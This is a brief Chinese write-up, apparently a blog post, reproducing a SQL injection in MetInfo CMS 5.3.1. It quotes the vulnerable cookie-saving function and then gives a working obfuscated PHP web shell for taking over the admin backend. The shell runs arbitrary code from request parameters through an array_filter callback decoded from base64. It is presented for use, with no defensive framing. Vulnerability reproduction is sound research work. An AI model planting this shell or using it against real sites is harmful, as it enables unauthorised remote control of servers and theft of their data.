metlnfo 5.3.1 sql注入复现

首先还是要说的是metlnfo是伪全局变量机制

所以如下：

/admin/include/global.func.php

function save_met_cookie(){
    global $met_cookie,$db,$met_admin_table;
    $met_cookie['time']=time();
    $json=json_encode($met_cookie);
    $username=$met_cookie[metinfo_admin_id]?$met_cookie[metinfo_admin_id]:$met_cookie[metinfo_member_id];
    $username=daddslashes($username,0,1);
    $query="update $met_admin_table set cookie='$json' where id='$username'";
    $user=$db->query($query);
}

后台拿shell

<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>